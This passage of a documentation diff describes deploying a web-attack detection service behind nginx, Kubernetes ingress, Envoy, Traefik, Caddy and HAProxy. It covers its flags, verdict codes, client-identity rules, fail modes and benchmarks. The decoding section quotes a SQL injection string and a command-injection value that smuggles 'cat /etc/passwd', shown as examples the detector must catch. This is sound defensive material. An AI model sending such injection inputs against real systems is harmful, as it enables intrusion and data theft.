+ | HAProxy | lua auth-request (haproxy-lua-http) | `/forward` | contract tests |
29
+
30
+ ---
31
+
32
+ ## 1. Running `dibaguard-authz`
33
+
34
+ ```sh
35
+ cd guard/go/dibaguard
36
+ go build -o dibaguard-authz ./cmd/dibaguard-authz # stdlib only
37
+
38
+ ./dibaguard-authz -listen 127.0.0.1:9300 -models ./models -sidecar http://127.0.0.1:8787 \
39
+ -mode report -trusted 127.0.0.1/32 -challenge-secret "$(cat /etc/dibaguard/challenge.secret)"
40
+ ```
41
+
42
+ Start in `-mode report` (never denies, only reports; §10), switch to `-mode enforce` when the verdict headers look
43
+ right.
44
+
45
+ **Feed token.** The sidecar refuses traffic feeds that carry sources unless they bring the feed token (validation
46
+ finding V-16: otherwise anyone who can reach it could make the layer block an address of their choice). Set the same
47
+ `DIBAGUARD_FEED_TOKEN` in the environment of the sidecar and of every `dibaguard-proxy` / `dibaguard-authz`; they send
48
+ it as `X-DibaGuard-Feed-Token` with their request summaries. Polling the standing decisions (`guard_fast_state`) needs
49
+ no token.
50
+
51
+ | flag | default | meaning |
52
+ |---|---|---|
53
+ | `-listen` | `127.0.0.1:9300` | address; `unix:/run/dibaguard.sock` for a unix socket; `""` = HAProxy syncer only |
54
+ | `-models` / `-model` | `models` / — | model dir (`http_v2/http_tier1_v2.bin`) or explicit model file |
55
+ | `-sidecar` | `http://127.0.0.1:8787` | Python sidecar (`python -m dibaguard.llm http`); `""` = none |
56
+ | `-mode` | `report` | `report` \| `enforce` |
57
+ | `-inline-block` | `true` | refuse on content (hard signatures, very high scores); `false` = content only flags |
58
+ | `-challenge-secret` | random | HMAC key of the challenge cookie — **share it across replicas** |
59
+ | `-rate` | `5` | req/s for a rate-limited client (burst 2×) |
60
+ | `-trusted` | `127.0.0.0/8,::1/128` | CIDRs of the load balancers whose forwarding headers are believed (§3) |
61
+ | `-ip-headers` | `X-Forwarded-For` | client-address headers read from trusted peers, first present wins: `X-Forwarded-For`, `Forwarded`, `X-Real-IP` — list only headers your LB sets or overwrites (§3) |
62
+ | `-proxy-protocol` | `false` | connections start with a PROXY v1/v2 header from a `-trusted` peer; others are dropped (§3) |
63
+ | `-ipv6-block-prefix` | `64` | a sidecar block on an IPv6 address covers its /N, here and in the HAProxy ACL (`128` = the address only) |
64
+ | `-ipv6-ratelimit-prefix` | `128` | rate-limit entries and token buckets per IPv6 /N (`64` = one bucket per /64) |
65
+ | `-envoy-prefix` | `/envoy` | Envoy `path_prefix` |
66
+ | `-budget` | `25ms` | per-request budget (body read + decision); over it the fail mode applies |
67
+ | `-fail-closed` | `false` | deny when the decision cannot be made (default: fail open) |
68
+ | `-state-stale` | `10s` | sidecar state older than this counts as unavailable |
69
+ | `-max-inflight` | 64 × GOMAXPROCS | concurrent decisions; no slot within the budget = `overload` |
70
+ | `-max-body` | 1 MiB | body bytes inspected when the LB sends the body (Envoy `with_request_body`) |
71
+ | `-poll` | `2s` | sidecar state poll interval |
72
+ | `-haproxy-socket` | — | Runtime API: `127.0.0.1:9999`, `ipv4@host:port`, `unix:/run/haproxy/admin.sock`, `/path.sock` |
73
+ | `-haproxy-kind` | `acl` | `acl` \| `map` |
74
+ | `-haproxy-file` | `/etc/haproxy/dibaguard-block.acl` | the ACL/map exactly as `haproxy.cfg` loads it (or `#<id>`) |
75
+ | `-haproxy-actions` | `block` | which standing decisions are mirrored (`block,challenge,rate_limit` for a map) |
76
+ | `-haproxy-every` / `-haproxy-resync` | `2s` / `1m` | sync interval / full re-read interval |
77
+
78
+ `GET /healthz` returns counters (`checks, allowed, blocked, challenged, rate_limited, flagged, fail_open,
79
+ fail_closed_denied, timeouts, overloads, panics`), `degraded`, `sidecar_state_age_s` and the HAProxy syncer's stats.
80
+
81
+ ---
82
+
83
+ ## 2. The verdict contract
84
+
85
+ | verdict | `/nginx` (auth_request, ingress-nginx) | `/forward` (Traefik, Caddy, HAProxy lua) and `/envoy/...` |
86
+ |---|---|---|
87
+ | allow | **200** | **200** (Envoy: only 200 allows) |
88
+ | block | **403** | **403** `forbidden` |
89
+ | challenge | **401** (render with `error_page 401` → `/challenge`) | **429** + the JS challenge page (HTML) |
90
+ | rate_limit | **401** (same `error_page`; `/challenge` answers 429 `slow down`) | **429** `slow down`, `Retry-After: 1` |
91
+ | fail-closed deny | 403 | `/forward` 503, `/envoy` 403 (Envoy lets a 5xx through under `failure_mode_allow`) |
92
+ | any verdict in report mode | 200 | 200 |
93
+
94
+ nginx's `auth_request` only understands 2xx, 401 and 403 — any other status (429 included) becomes a 500. That is
95
+ why challenge and rate_limit share 401 on `/nginx` and are told apart by `X-DibaGuard-Verdict`.
96
+
97
+ Response headers (every answer):
98
+
99
+ | header | value |
100
+ |---|---|
101
+ | `X-DibaGuard-Verdict` | `allow` \| `block` \| `challenge` \| `rate_limit` — in report mode: what enforce would do |
102
+ | `X-DibaGuard-Reason` | `sidecar:<action>` \| `sig:<id>` (first signature) \| `model` \| `fail_open:<cause>` \| `fail_closed:<cause>` |
103
+ | `X-DibaGuard-Sigs` | every signature hit, e.g. `A15,A18` |
104
+ | `X-DibaGuard-Score` | HTTP model attack logit |
105
+ | `X-DibaGuard` | `flagged` (as `dibaguard-proxy` sets it) |
106
+ | `X-DibaGuard-Mode` | `report` \| `enforce` |
107
+ | `X-DibaGuard-Degraded` | `model_unavailable` \| `sidecar_unavailable` (fail-open while degraded) |
108
+
109
+ How the original request is reconstructed:
110
+
111
+ | | method | URI | host |
112
+ |---|---|---|---|
113
+ | `/nginx`, `/forward` | `X-Original-Method`, else `X-Forwarded-Method`, else the request's | `X-Original-URI`, else `X-Forwarded-Uri`, else `X-Original-URL` (absolute, ingress-nginx) | `X-Forwarded-Host`, else from `X-Original-URL`, else `Host` |
114
+ | `/envoy/...` | the request's (Envoy keeps it) | the raw path minus `-envoy-prefix` (never cleaned or redirected) | `:authority` |
115
+
116
+ All other request headers are the original client headers (all of them for nginx/Traefik/Caddy/HAProxy, Envoy's
117
+ `allowed_headers`). The decision reads `User-Agent, Cookie, Content-Type, Accept, Referer, X-Forwarded-For,
118
+ Authorization, X-Api-Version, Origin` — the same canonical text as the inline proxy.
119
+
120
+ Decoding follows the application, not Go's URL parser (the same in `dibaguard-proxy` and `dibaguard-authz`): the
121
+ query is split on `&` only (a `;` is data) and every pair is kept; well-formed `%XX` and IIS-style `%uXXXX` escapes
122
+ are decoded (up to 4 rounds, double encoding included) and a malformed one (`%zz`, `%2`, a lone `%`) is left as it
123
+ is, as PHP and most stacks read it and as the Python canonicaliser (`dibaguard/http/canon.py`) does. Before,
124
+ `?id=%zz1' or 1=1-- -` and `?host=127.0.0.1;cat /etc/passwd` were dropped by Go's query parser and never scored.
125
+ A URI whose *path* Go cannot parse (bad escape) is decoded the same lenient way.
126
+
127
+ `/challenge` (also `/_dibaguard/challenge`) renders the JS challenge for the client: the page sets the `dg_ch`
128
+ cookie (HMAC of client address + UTC day) and reloads — or, with `?rd=/local/path`, goes back to that path (only
129
+ local paths are honoured; anything else just reloads). It answers 429 `slow down` instead when
130
+ `X-DibaGuard-Verdict: rate_limit` is sent or, without that header, when the sidecar rate-limits the client.
131
+
132
+ ---
133
+
134
+ ## 3. Client identity and trusted proxies
135
+
136
+ The client address is what every sidecar decision, rate-limit bucket and challenge cookie is keyed on, so it must
137
+ not be forgeable.
138
+
139
+ The same rules apply to `dibaguard-authz` and `dibaguard-proxy` (which takes the same `-trusted`, `-ip-headers`,
140
+ `-proxy-protocol`, `-ipv6-block-prefix` and `-ipv6-ratelimit-prefix` flags; its old `-trust-xff`, which believed the
141
+ leftmost `X-Forwarded-For` entry from anyone, is removed and refuses to start: set `-trusted` instead).
142
+
143
+ * Forwarding headers are read **only when the TCP peer is in `-trusted`** (default: loopback only; or a
144
+ unix-socket peer). Any other peer is identified by its own address whatever it sends: it can neither escape its
145
+ own block nor frame another address (both are tested, and verified through real nginx and the real proxy in §13).
146
+ * `X-Forwarded-For` and `Forwarded` (RFC 7239, its `for=` values, quoted IPv6 with ports included) are walked
147
+ **right to left past trusted hops**: `"<client-written>, <real>"` yields `<real>`. A hop that cannot be read
148
+ (`unknown`, an obfuscated `_id`, an element without `for=`, garbage) stops the walk. `X-Real-IP` holds one address.
149
+ * **List only headers your load balancer sets or overwrites** in `-ip-headers` (default `X-Forwarded-For`). A header
150
+ the LB passes through untouched is written by the client: most LBs pass `Forwarded` and `X-Real-IP` through
151
+ unless configured to set them, so they are opt-in.
152
+ * **PROXY protocol** (`-proxy-protocol`): for an L4 load balancer (HAProxy `send-proxy`/`send-proxy-v2`, AWS NLB,
153
+ Envoy's upstream `proxy_protocol`), the v1 or v2 header gives the client address. It is mandatory on that listener
154
+ and believed only from `-trusted` peers; a connection without a valid header, or from any other peer, is closed
155
+ without an answer. `LOCAL`/`UNKNOWN` headers (health checks) keep the peer address. Verified with curl's
156
+ `--haproxy-protocol` (§13).
157
+ * Addresses are normalized before they are used as keys: IPv4-mapped IPv6 (`::ffff:1.2.3.4`) is the IPv4 address,
158
+ IPv6 is compressed lower-case, zone ids (`fe80::1%eth0`) are dropped, ports are stripped.
159
+ * **IPv6 networks.** An IPv6 client usually owns a /64 and can rotate addresses inside it, so by default a sidecar
160
+ block on one IPv6 address covers its /64 (`-ipv6-block-prefix 64`, also applied to the HAProxy ACL, which then
161
+ holds `2001:db8:1:2::/64`). Rate limits stay per address unless `-ipv6-ratelimit-prefix 64` (then the /64 shares
162
+ one standing decision and one token bucket). Challenges stay per address (the cookie is bound to the address).
163
+ CIDR entries in the sidecar state (`10.0.0.0/8`, `2001:db8::/48`) are honoured too. Summaries sent to the sidecar
164
+ keep the exact address.
165
+ * Put the load balancer(s) — and only them — in `-trusted`: `127.0.0.1/32` when co-located, the ingress pod CIDR in
166
+ Kubernetes, the Docker network for a containerised Traefik.
167
+ * Each LB below **overwrites or appends** these headers itself (`$proxy_add_x_forwarded_for`, Envoy
168
+ `use_remote_address`, Traefik/Caddy rewrite XFF for untrusted clients, HAProxy `set-header`). If the LB itself
169
+ sits behind another proxy, configure that LB's own real-IP handling first (nginx `realip`, Envoy
170
+ `xff_num_trusted_hops`, Traefik `forwardedHeaders.trustedIPs`, Caddy `trusted_proxies`).
171
+
172
+ ---
173
+
174
+ ## 4. nginx (`auth_request`)
175
+
176
+ The `auth_request` module is in the official builds (`nginx -V | grep auth_request`). This is the configuration
177
+ verified in §13.
178
+
179
+ ```nginx
180
+ upstream dibaguard_authz { server 127.0.0.1:9300; keepalive 32; }
181
+ upstream app { server 127.0.0.1:3000; keepalive 32; }
182
+
183
+ server {
184
+ listen 80;
185
+
186
+ location / {
187
+ auth_request /_dibaguard_auth;
188
+ auth_request_set $dg_verdict $upstream_http_x_dibaguard_verdict;
189
+ auth_request_set $dg_reason $upstream_http_x_dibaguard_reason;
190
+ auth_request_set $dg_status $upstream_status;
191
+ error_page 401 = /_dibaguard_challenge; # challenge and rate_limit
192
+ error_page 500 = @dibaguard_failopen; # DibaGuard unreachable: serve anyway (remove this line to fail closed)
193
+ add_header X-DibaGuard-Verdict $dg_verdict always; # optional, for debugging
194
+ proxy_set_header X-DibaGuard-Verdict $dg_verdict; # the app sees the verdict (overwrites a client's)
195
+ proxy_http_version 1.1;
196
+ proxy_set_header Connection "";
197
+ proxy_pass http://app;
198
+ }
199
+
200
+ location = /_dibaguard_auth {
201
+ internal;
202
+ proxy_pass http://dibaguard_authz/nginx;
203
+ proxy_http_version 1.1; # keep-alive to the verdict service (else one TCP connect per request)
204
+ proxy_set_header Connection "";
205
+ proxy_pass_request_body off; # auth_request does not pass the body
206
+ proxy_set_header Content-Length "";
207
+ proxy_set_header X-Original-Method $request_method;
208
+ proxy_set_header X-Original-URI $request_uri;
209
+ proxy_set_header X-Forwarded-Host $host;
210
+ proxy_set_header X-Forwarded-For $proxy_add_x_forwarded_for;
211
+ proxy_set_header X-Real-IP $remote_addr;
212
+ proxy_connect_timeout 100ms; # > -budget (25ms): the service answers (fail-open) before nginx gives up
213
+ proxy_send_timeout 200ms;
214
+ proxy_read_timeout 200ms;
215
+ }
216
+
217
+ location = /_dibaguard_challenge {
218
+ internal;
219
+ proxy_pass http://dibaguard_authz/challenge;
220
+ proxy_http_version 1.1;
221
+ proxy_set_header Connection "";
222
+ proxy_method GET;
223
+ proxy_pass_request_body off;
224
+ proxy_set_header Content-Length "";
225
+ proxy_set_header X-DibaGuard-Verdict $dg_verdict; # challenge -> JS page, rate_limit -> 429
226
+ proxy_set_header X-Forwarded-For $proxy_add_x_forwarded_for;
227
+ proxy_set_header X-Real-IP $remote_addr;
228
+ }
229
+
230
+ location @dibaguard_failopen {
231
+ # Fail open ONLY when DibaGuard could not be reached (502 refused / 504 timed out). An answer it did give is
232
+ # not a pass: Go's HTTP server answers 400 to a header nginx accepts but HTTP forbids (a 0x01 byte), and
233
+ # nginx turns that into a 500 - without this guard such a request reaches the app unchecked (shown in §13).
234
+ if ($dg_status !~ "^(502|504)") { return 403; }
235
+ proxy_http_version 1.1;
236
+ proxy_set_header Connection "";
237
+ proxy_pass http://app;
238
+ }
239
+ }
240
+ ```
241
+
242
+ Run the service with `-trusted 127.0.0.1/32` (nginx's address as the service sees it). `auth_request_set` variables
243
+ survive the `error_page` redirect (verified). Log the verdict with
244
+ `log_format dg '$remote_addr "$request" $status verdict=$dg_verdict reason=$dg_reason';`.
245
+
246
+ ---
247
+
248
+ ## 5. Kubernetes ingress-nginx
249
+
250
+ ingress-nginx's external auth is `auth_request` underneath (2xx / 401 / 403 only). It sends `X-Original-URL`
251
+ (absolute), `X-Original-Method`, `X-Real-IP` and `X-Forwarded-For` plus the client's headers; `/nginx` reads all of
252
+ them. A 401 is turned into a redirect to `auth-signin`, which is pointed at the challenge page.
253
+
254
+ ```yaml
255
+ apiVersion: networking.k8s.io/v1
256
+ kind: Ingress
257
+ metadata:
258
+ name: shop
259
+ annotations:
260
+ nginx.ingress.kubernetes.io/auth-url: "http://dibaguard-authz.shop.svc.cluster.local:9300/nginx"
261
+ nginx.ingress.kubernetes.io/auth-response-headers: "X-DibaGuard-Verdict,X-DibaGuard-Score,X-DibaGuard-Reason"
262
+ # challenge / rate_limit (401): send the browser to the challenge page, which comes back to the original path
263
+ nginx.ingress.kubernetes.io/auth-signin: "https://$host/_dibaguard/challenge?rd=$escaped_request_uri"
264
+ spec:
265
+ ingressClassName: nginx
266
+ rules:
267
+ - host: shop.example
268
+ http:
269
+ paths:
270
+ - path: /
271
+ pathType: Prefix
272
+ backend: { service: { name: shop, port: { number: 80 } } }
273
+ ---
274
+ # the challenge page, served by dibaguard-authz on the same host, NOT behind auth-url
275
+ apiVersion: networking.k8s.io/v1
276
+ kind: Ingress
277
+ metadata:
278
+ name: shop-dibaguard-challenge
279
+ spec:
280
+ ingressClassName: nginx
281
+ rules:
282
+ - host: shop.example
283
+ http:
284
+ paths:
285
+ - path: /_dibaguard/challenge
286
+ pathType: Exact
287
+ backend: { service: { name: dibaguard-authz, port: { number: 9300 } } }
288
+ ```
289
+
290
+ * Run `dibaguard-authz` with `-trusted <pod CIDR>` (e.g. `10.244.0.0/16`): the requests come from the controller
291
+ pods. Ingress backends must be in the Ingress's namespace — deploy the service there (or use an `ExternalName`).
292
+ * All ingresses at once: the controller ConfigMap's `global-auth-url` (and `global-auth-signin`).
293
+ * For a rate-limited client the challenge page answers 429 `slow down` (it looks the client up in the sidecar state).
294
+ * ingress-nginx has no fail-open switch: if the service is unreachable the request gets a 500. Run 2+ replicas with
295
+ a PodDisruptionBudget and the same `-challenge-secret` (a Secret mounted in every replica).
296
+
297
+ ---
298
+
299
+ ## 6. Envoy (`ext_authz`, HTTP service)
300
+
301
+ ```yaml
302
+ http_filters:
303
+ - name: envoy.filters.http.ext_authz
304
+ typed_config:
305
+ "@type": type.googleapis.com/envoy.extensions.filters.http.ext_authz.v3.ExtAuthz
306
+ transport_api_version: V3
307
+ failure_mode_allow: true # DibaGuard unreachable / timed out: let the request through
308
+ failure_mode_allow_header_add: true # ... and mark it x-envoy-auth-failure-mode-allowed: true
309
+ with_request_body: # optional: Envoy (unlike nginx) can show DibaGuard the body
310
+ max_request_bytes: 8192
311
+ allow_partial_message: true
312
+ allowed_headers: # what the decision reads (older Envoy: http_service.authorization_request.allowed_headers)
313
+ patterns:
314
+ - { exact: user-agent }
315
+ - { exact: cookie }
316
+ - { exact: content-type }
317
+ - { exact: accept }
318
+ - { exact: referer }
319
+ - { exact: x-forwarded-for }
320
+ - { exact: authorization }
321
+ - { exact: x-api-version }
322
+ - { exact: origin }
323
+ http_service:
324
+ server_uri:
325
+ uri: http://127.0.0.1:9300
326
+ cluster: dibaguard_authz
327
+ timeout: 0.1s
328
+ path_prefix: /envoy # = dibaguard-authz -envoy-prefix
329
+ authorization_response:
330
+ allowed_upstream_headers: # on allow: verdict and score to the upstream request (overwrites)
331
+ patterns: [ { prefix: x-dibaguard } ]
332
+ allowed_client_headers: # on deny: what the client gets besides status and body
333
+ patterns:
334
+ - { exact: content-type }
335
+ - { exact: cache-control }
336
+ - { exact: retry-after }
337
+ - { prefix: x-dibaguard }
338
+ - name: envoy.filters.http.router
339
+ typed_config: { "@type": type.googleapis.com/envoy.extensions.filters.http.router.v3.Router }
340
+
341
+ # clusters:
342
+ - name: dibaguard_authz
343
+ type: STATIC
344
+ connect_timeout: 0.05s
345
+ load_assignment:
346
+ cluster_name: dibaguard_authz
347
+ endpoints:
348
+ - lb_endpoints:
349
+ - endpoint: { address: { socket_address: { address: 127.0.0.1, port_value: 9300 } } }
350
+ ```
351
+
352
+ * The check request keeps the original method and is sent to `path_prefix + original path`
353
+ (`/envoy/items?id=1`). The service strips the prefix from the raw request target — `..` segments reach the
354
+ decision as sent, no path cleaning or redirect.
355
+ * Only **200** allows; any other status, with the allowed headers and the body (the challenge page, `slow down`),
356
+ goes to the client. A **5xx** from the service counts as an error, which `failure_mode_allow` lets through — so the
357
+ service never answers 5xx to Envoy (its fail-closed deny is a 403).
358
+ * Client address: with `use_remote_address: true` on the HTTP connection manager Envoy appends the downstream
359
+ address to `x-forwarded-for`; trust Envoy's own address (`-trusted 127.0.0.1/32` when co-located).
360
+
361
+ ---
362
+
363
+ ## 7. Traefik (`ForwardAuth`)
364
+
365
+ ```yaml
366
+ # dynamic configuration
367
+ http:
368
+ middlewares:
369
+ dibaguard:
370
+ forwardAuth:
371
+ address: "http://127.0.0.1:9300/forward"
372
+ trustForwardHeader: false # true only if Traefik itself is behind a trusted proxy
373
+ authResponseHeaders: ["X-DibaGuard-Verdict", "X-DibaGuard-Score", "X-DibaGuard-Reason"]
374
+ routers:
375
+ shop:
376
+ rule: "Host(`shop.example`)"
377
+ middlewares: ["dibaguard"]
378
+ service: shop
379
+ services:
380
+ shop:
381
+ loadBalancer:
382
+ servers: [ { url: "http://127.0.0.1:3000" } ]
383
+ ```
384
+
385
+ Docker labels: `traefik.http.middlewares.dibaguard.forwardauth.address=http://dibaguard-authz:9300/forward`,
386
+ `traefik.http.middlewares.dibaguard.forwardauth.authResponseHeaders=X-DibaGuard-Verdict,X-DibaGuard-Score`,
387
+ `traefik.http.routers.shop.middlewares=dibaguard`. Kubernetes: a `traefik.io/v1alpha1` `Middleware` with the same
388
+ `forwardAuth` block.
389
+
390
+ Traefik sends `X-Forwarded-Method/-Uri/-Host/-Proto/-For` and all original headers; on a non-2xx it returns the
391
+ service's response (status, headers, body — so the challenge page works as is). Trust Traefik's address
392
+ (`-trusted 172.16.0.0/12` for a Docker network). There is no fail-open switch: an unreachable service is an error
393
+ for the client — run replicas.
394
+
395
+ ---
396
+
397
+ ## 8. Caddy (`forward_auth`)
398
+
399
+ ```caddyfile
400
+ shop.example {
401
+ forward_auth 127.0.0.1:9300 {
402
+ uri /forward
403
+ copy_headers X-DibaGuard-Verdict X-DibaGuard-Score X-DibaGuard-Reason
404
+ }
405
+ reverse_proxy 127.0.0.1:3000
406
+ }
407
+ ```
408
+
409
+ `forward_auth` sends `X-Forwarded-Method`, `X-Forwarded-Uri`, `X-Forwarded-For` (Caddy ignores a client's XFF unless
410
+ the client is in `trusted_proxies`), `X-Forwarded-Host/-Proto` and the original headers. On 2xx the `copy_headers`
411
+ are set on the proxied request; anything else is returned to the client as the service sent it. No fail-open
412
+ switch (an unreachable service is a 502) — run replicas or several upstreams in `forward_auth`.
413
+
414
+ ---
415
+
416
+ ## 9. HAProxy
417
+
418
+ ### 9a. Blocklist in HAProxy's own data path (Runtime API sync)
419
+
420
+ ```haproxy
421
+ global
422
+ stats socket ipv4@127.0.0.1:9999 level admin # or: stats socket /run/haproxy/admin.sock mode 600 level admin
423
+ stats timeout 30s
424
+
425
+ frontend web
426
+ bind :80
427
+ # sources the DibaGuard sidecar blocked: refused at accept, before any HTTP parsing; zero per-request round trip
428
+ tcp-request connection reject if { src -f /etc/haproxy/dibaguard-block.acl }
429
+ # behind another proxy use the address it saw instead:
430
+ # http-request deny if { req.hdr_ip(x-forwarded-for,-1) -f /etc/haproxy/dibaguard-block.acl }
431
+ default_backend app
432
+ ```
433
+
434
+ ```sh
435
+ touch /etc/haproxy/dibaguard-block.acl # must exist (may stay empty) when HAProxy starts
436
+ dibaguard-authz -listen "" -sidecar http://127.0.0.1:8787 \
437
+ -haproxy-socket 127.0.0.1:9999 -haproxy-file /etc/haproxy/dibaguard-block.acl
438
+ ```
439
+
440
+ * The ACL is **owned by the syncer**: entries it holds that are not in the sidecar's block set are deleted. Use a
441
+ dedicated file; put hand-made blocks in another ACL.
442
+ * Only the difference is sent (`add acl` / `del acl`; `set map` when a map value changes); additions go first.
443
+ * Deadlines are applied by the syncer: an entry leaves HAProxy when its deadline passes, even if the sidecar is down.
444
+ * On every (re)connect, every `-haproxy-resync`, and whenever the connection is found closed (stats timeout,
445
+ reload — checked before each sync without sending anything), it re-reads what HAProxy holds (`show acl`) and
446
+ diffs against that. A reload resets the ACL to the (empty) file on disk; it is repaired on the next sync.
447
+ * Keys are validated as IP addresses / CIDRs before they reach the socket (IPv4-mapped IPv6 is unmapped); nothing the
448
+ sidecar sends can inject a Runtime API command. With `-ipv6-block-prefix 64` (default) an IPv6 block is pushed as
449
+ its /64, one entry per network.
450
+ * Map variant, one table for all standing decisions:
451
+
452
+ ```haproxy
453
+ http-request deny deny_status 403 if { src,map_ip(/etc/haproxy/dibaguard.map) -m str block }
454
+ # e.g. send challenged / rate-limited sources through the verdict service (9b), let others skip it
455
+ ```
456
+ `-haproxy-kind map -haproxy-file /etc/haproxy/dibaguard.map -haproxy-actions block,challenge,rate_limit`
457
+ (values: `block` > `challenge` > `rate_limit`). Match the value — `-m found` would also drop rate-limited sources.
458
+
459
+ ### 9b. Per-request verdict (lua auth-request)
460
+
461
+ With [haproxy-lua-http](https://github.com/haproxytech/haproxy-lua-http) and `auth-request.lua`
462
+ (TimWolla/haproxy-auth-request). The lua action calls the auth backend with `HEAD` and the current request headers,
463
+ so the original method/URI/client are set as headers first.
464
+
465
+ ```haproxy
466
+ global
467
+ lua-prepend-path /usr/share/haproxy/?/http.lua
468
+ lua-load /usr/share/haproxy/auth-request.lua
469
+
470
+ frontend web
471
+ bind :80
472
+ http-request set-header X-Original-Method %[method]
473
+ http-request set-header X-Original-URI %[url]
474
+ http-request set-header X-Forwarded-Host %[req.hdr(host)]
475
+ http-request set-header X-Forwarded-For %[src] # overwrite whatever the client sent
476
+ # fail open when no dibaguard-authz is healthy; otherwise deny everything the service did not allow
477
+ http-request lua.auth-request dibaguard_authz /forward if { nbsrv(dibaguard_authz) gt 0 }
478
+ http-request deny deny_status 403 if { nbsrv(dibaguard_authz) gt 0 } !{ var(txn.auth_response_successful) -m bool } !{ var(txn.auth_response_code) -m int 429 }
479
+ use_backend dibaguard_challenge if { var(txn.auth_response_code) -m int 429 }
480
+ default_backend app
481
+
482
+ backend dibaguard_authz
483
+ timeout connect 50ms
484
+ timeout server 100ms
485
+ server authz1 127.0.0.1:9300 check inter 1s
486
+
487
+ backend dibaguard_challenge # challenge page or 429 slow down, rendered for this client
488
+ http-request set-path /challenge
489
+ server authz1 127.0.0.1:9300
490
+
491
+ backend app
492
+ server app1 127.0.0.1:3000
493
+ ```
494
+
495
+ Deny on "not successful", not on a list of codes: any answer other than 2xx (a 400 for a malformed header included)
496
+ must not pass. The lua action does not return the service's body, hence the `dibaguard_challenge` backend, which
497
+ tells a challenge from a rate limit by the sidecar state.
498
+
499
+ ---
500
+
501
+ ## 10. Rolling out: report mode
502
+
503
+ `-mode report` answers **200 to everything**, even when fail-closed, and puts the would-be verdict in
504
+ `X-DibaGuard-Verdict` / `-Reason` (and the summaries the sidecar receives). Log `$dg_verdict` / `$dg_reason` (nginx),
505
+ `%[var(...)]` (HAProxy) or the upstream request headers (Envoy/Traefik/Caddy) for a few days, check the `block` and
506
+ `challenge` lines, then switch to `-mode enforce`. In report mode the rate-limit bucket is consumed as in enforce
507
+ (shadow evaluation), so `rate_limit` verdicts are what enforce would return.
508
+
509
+ ---
510
+
511
+ ## 11. Latency budget
512
+
513
+ Measured 2026-10-31 on an Intel i3-12100F (4C/8T), Windows 11, Go 1.23.4, with the test-fixture HTTP model, while
514
+ the machine carried ~65 % CPU load from other work — read these as upper bounds.
515
+
516
+ In process (`go test -bench`, one decision, no network):
517
+
518
+ | path | ns/op | allocs |
519
+ |---|---|---|
520
+ | `Decide` benign (`/product/42?page=2&sort=price`) | 24 000 – 29 700 | 37 (16.6 KB) |
521
+ | `Decide` benign Persian query | 21 800 – 24 400 | 35 |
522
+ | `Decide` SQLi (`1' union select ...`) | 92 000 – 125 000 | 34 |
523
+ | `Decide` Log4Shell header | 104 000 – 113 000 | 34 |
524
+ | `Decide`, sidecar-blocked source (no scoring) | 21 – 24 | 0 |
525
+ | ↳ of which `MatchSigs` benign / attack | 1 900 – 2 200 / 54 000 – 69 000 | |
526
+ | ↳ of which HTTP model `Logits` | 10 400 – 11 800 | |
527
+ | full `/nginx` handler, benign (identity, reconstruction, budgeted decision, headers) | 31 000 – 36 000 | 65 |
528
+ | full `/nginx` handler, SQLi | 113 000 – 124 000 | 73 |
529
+
530
+ An attack costs more than a benign request because the signature prefilter lets it through to all nine regex
531
+ families; a source the sidecar already blocked costs nothing.
532
+
533
+ Over the network (real nginx 1.30.6, Windows loopback, keep-alive to the service and the app, 500 sequential
534
+ requests per row, two rounds, client-side `time_total`):
535
+
536
+ | path | p50 | p90 | p99 |
537
+ |---|---|---|---|
538
+ | nginx → app, no DibaGuard | 116 – 126 µs | 174 – 180 µs | 232 – 257 µs |
539
+ | nginx + `auth_request` → app, benign | 242 – 246 µs | 320 – 329 µs | 426 – 602 µs |
540
+ | nginx + `auth_request`, SQLi refused (403) | 233 – 236 µs | 320 – 328 µs | 468 – 470 µs |
541
+ | `dibaguard-authz` alone over HTTP, benign / SQLi | 77 / 118 – 123 µs | 142 – 148 / 194 – 199 µs | 227 – 244 / 296 – 374 µs |
542
+
543
+ So `auth_request` adds **~120–130 µs at p50** and ~150 µs at p90 on this machine. Budget for the LB side:
544
+ connect timeout 50–100 ms, read timeout 100–200 ms, well above the service's own `-budget 25ms` so that the service
545
+ answers (with its fail mode) before the LB gives up. The HAProxy ACL path costs nothing per request; a new block
546
+ reaches HAProxy within poll + sync interval (≤ ~4 s with the defaults).
547
+
548
+ ---
549
+
550
+ ## 12. Failure modes
551
+
552
+ | failure | default (fail-open) | `-fail-closed` |
553
+ |---|---|---|
554
+ | model file missing / unreadable at start | signatures and sidecar state still enforced; everything else allowed, `X-DibaGuard-Degraded: model_unavailable` | every request denied, `fail_closed:model_unavailable` |
555
+ | sidecar down, or state older than `-state-stale` | last known state kept (its deadlines still apply), decisions continue, `Degraded: sidecar_unavailable` | every request denied |
556
+ | decision over `-budget` (body read included) | allowed, `fail_open:timeout`, answered at the budget | denied, `fail_closed:timeout` |
557
+ | no decision slot within the budget (`-max-inflight`) | allowed, `fail_open:overload` | denied |
558
+ | panic inside a decision | allowed, `fail_open:panic` | denied |
559
+ | report mode | never denies | never denies |
560
+ | service unreachable — nginx | 500 unless `error_page 500 = @dibaguard_failopen` **with the `$dg_status` guard** (§4) | drop the `error_page 500` line |
561
+ | service unreachable — Envoy | `failure_mode_allow: true` | `failure_mode_allow: false` |
562
+ | service unreachable — Traefik / Caddy / ingress-nginx | error to the client (no switch) | same |
563
+ | service unreachable — HAProxy lua | skipped while `nbsrv(dibaguard_authz)` is 0 (health check) | drop the `if { nbsrv ... }` conditions |
564
+ | HAProxy Runtime API unreachable | syncer retries every interval, logs each new error once; **HAProxy keeps its current ACL** (entries do not expire inside HAProxy while the syncer is away) | same |
565
+ | HAProxy reload | ACL back to the file on disk until the next sync detects the closed connection and resyncs | same |
566
+
567
+ Fail-open trades availability for coverage: a flood that pushes decisions past the budget, or an outage, lets
568
+ requests through. Pick `-fail-closed` where an unchecked request is worse than a refused one.
569
+
570
+ ---
571
+
572
+ ## 13. Verified on real software (nginx, dibaguard-proxy)
573
+
574
+ nginx 1.30.6 (`nginx.org` Windows zip, PGP signature checked), the §4 configuration (plus debug headers and extra
575
+ server blocks for report mode, a dead service and the naive fail-open), `dibaguard-authz` in enforce
576
+ and report mode, a fake sidecar (block 127.0.0.3, rate-limit 127.0.0.4, challenge 127.0.0.5) and clients bound to
577
+ distinct loopback addresses:
578
+
579
+ | request | result |
580
+ |---|---|
581
+ | benign GET, Persian query, POST form | 200, verdict allow |
582
+ | SQLi, UNION SELECT, double-encoded SQLi, XSS, traversal, command injection, Log4Shell header | 403, `sig:A15/A19/A17/A18/A08` |
583
+ | `/.git/config` | 429 challenge page (via `error_page 401`); with its cookie 200; the same cookie from another address 429 |
584
+ | sidecar-blocked source; the same source sending `X-Forwarded-For: 1.2.3.4` | 403 `sidecar:block` both |
585
